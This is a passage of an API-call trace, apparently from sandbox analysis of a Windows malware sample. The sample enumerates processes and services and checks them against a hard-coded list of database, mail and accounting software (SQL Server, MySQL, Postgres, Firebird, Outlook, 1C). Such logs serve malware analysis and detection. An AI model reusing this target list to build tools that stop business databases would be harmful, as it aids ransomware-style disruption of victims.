CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x338 [0151.664] Process32FirstW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0151.665] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0151.665] lstrlenW (lpString="System") returned 6 [0151.665] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0151.665] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0151.665] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0151.665] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0151.665] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0151.665] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0151.665] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0151.665] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0151.665] lstrlenW (lpString="smss.exe") returned 8 [0151.665] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0151.665] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0151.665] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0151.665] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0151.665] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0151.666] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0151.666] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0151.666] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0151.666] lstrlenW (lpString="csrss.exe") returned 9 [0151.666] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0151.666] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0151.666] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0151.666] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0151.666] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0151.666] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0151.666] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0151.666] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0151.666] lstrlenW (lpString="wininit.exe") returned 11 [0151.666] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0151.666] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0151.666] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0151.667] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0151.667] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0151.667] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0151.667] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0151.667] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0151.667] lstrlenW (lpString="csrss.exe") returned 9 [0151.667] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0151.667] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0151.667] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0151.667] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0151.667] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0151.667] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0151.667] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0151.668] lstrlenW (lpString="winlogon.exe") returned 12 [0151.668] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0151.668] lstrlenW (lpString="services.exe") returned 12 [0151.668] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0151.668] lstrlenW (lpString="lsass.exe") returned 9 [0151.668] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0151.669] lstrlenW (lpString="lsm.exe") returned 7 [0151.669] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.669] lstrlenW (lpString="svchost.exe") returned 11 [0151.669] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.669] lstrlenW (lpString="svchost.exe") returned 11 [0151.669] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.670] lstrlenW (lpString="svchost.exe") returned 11 [0151.670] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.670] lstrlenW (lpString="svchost.exe") returned 11 [0151.670] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.670] lstrlenW (lpString="svchost.exe") returned 11 [0151.670] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0151.671] lstrlenW (lpString="audiodg.exe") returned 11 [0151.671] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.671] lstrlenW (lpString="svchost.exe") returned 11 [0151.671] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0151.671] lstrlenW (lpString="userinit.exe") returned 12 [0151.671] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0151.671] lstrlenW (lpString="explorer.exe") returned 12 [0151.672] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0151.672] lstrlenW (lpString="dwm.exe") returned 7 [0151.672] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.672] lstrlenW (lpString="svchost.exe") returned 11 [0151.672] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0151.672] lstrlenW (lpString="n.exe") returned 5 [0151.673] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0151.673] lstrlenW (lpString="spoolsv.exe") returned 11 [0151.673] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.673] lstrlenW (lpString="svchost.exe") returned 11 [0151.673] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0151.674] lstrlenW (lpString="taskhost.exe") returned 12 [0151.674] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0151.674] lstrlenW (lpString="reader_sl.exe") returned 13 [0151.674] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0151.675] lstrlenW (lpString="rundll32.exe") returned 12 [0151.675] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x49c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dinotify.exe")) returned 1 [0151.675] lstrlenW (lpString="dinotify.exe") returned 12 [0151.675] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0151.675] lstrlenW (lpString="n.exe") returned 5 [0151.675] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0151.676] CloseHandle (hObject=0x338) returned 1 [0151.676] Sleep (dwMilliseconds=0x1f4) [0152.349] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42dccb8 [0152.349] EnumServicesStatusExW (in: hSCManager=0x42dccb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0152.349] GetLastError () returned 0xea [0152.349] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x433e1b8 [0152.349] EnumServicesStatusExW (in: hSCManager=0x42dccb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x433e1b8, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x433e1b8, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0152.350] CloseServiceHandle (hSCObject=0x42dccb8) returned 1 [0152.350] lstrlenW (lpString="Appinfo") returned 7 [0152.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0152.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0152.350] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0152.350] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0152.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0152.350] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0152.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0152.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0152.350] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0152.350] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0152.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0152.350] lstrlenW (lpString="AudioSrv") returned 8 [0152.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0152.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0152.350] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0152.350] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0152.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0152.350] lstrlenW (lpString="BFE") returned 3 [0152.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0152.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0152.351] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0152.351] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0152.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0152.351] lstrlenW (lpString="CryptSvc") returned 8 [0152.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0152.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0152.351] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0152.351] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0152.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0152.351] lstrlenW (lpString="CscService") returned 10 [0152.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0152.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0152.351] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0152.351] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0152.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0152.351] lstrlenW (lpString="DcomLaunch") returned 10 [0152.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0152.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0152.351] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0152.351] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0152.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0152.351] lstrlenW (lpString="Dhcp") returned 4 [0152.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0152.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0152.351] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0152.351] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0152.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0152.351] lstrlenW (lpString="Dnscache") returned 8 [0152.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0152.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0152.352] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0152.352] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0152.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0152.352] lstrlenW (lpString="DPS") returned 3 [0152.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0152.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0152.352] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0152.352] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0152.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0152.352] lstrlenW (lpString="eventlog") returned 8 [0152.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0152.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0152.352] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0152.352] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0152.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0152.352] lstrlenW (lpString="EventSystem") returned 11 [0152.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0152.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0152.352] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0152.352] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0152.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0152.352] lstrlenW (lpString="gpsvc") returned 5 [0152.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0152.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0152.352] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0152.352] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0152.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0152.352] lstrlenW (lpString="iphlpsvc") returned 8 [0152.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0152.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0152.352] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0152.352] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0152.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0152.353] lstrlenW (lpString="LanmanServer") returned 12 [0152.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0152.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0152.353] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0152.353] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0152.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0152.353] lstrlenW (lpString="LanmanWorkstation") returned 17 [0152.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0152.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0152.353] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0152.353] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0152.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0152.353] lstrlenW (lpString="lmhosts") returned 7 [0152.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0152.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0152.353] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0152.353] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0152.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0152.353] lstrlenW (lpString="MMCSS") returned 5 [0152.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0152.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0152.353] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0152.353] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0152.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0152.353] lstrlenW (lpString="MpsSvc") returned 6 [0152.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0152.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0152.353] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0152.353] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0152.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0152.353] lstrlenW (lpString="Netman") returned 6 [0152.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0152.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0152.354] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0152.354] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0152.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0152.354] lstrlenW (lpString="netprofm") returned 8 [0152.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0152.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0152.354] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0152.354] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0152.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0152.354] lstrlenW (lpString="NlaSvc") returned 6 [0152.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0152.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0152.354] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0152.354] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0152.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0152.354] lstrlenW (lpString="nsi") returned 3 [0152.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0152.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0152.354] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0152.354] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0152.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0152.354] lstrlenW (lpString="PcaSvc") returned 6 [0152.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0152.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0152.354] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0152.354] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0152.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0152.354] lstrlenW (lpString="PlugPlay") returned 8 [0152.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0152.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0152.354] lstrcmpiW (lpString1="sqlwriter", 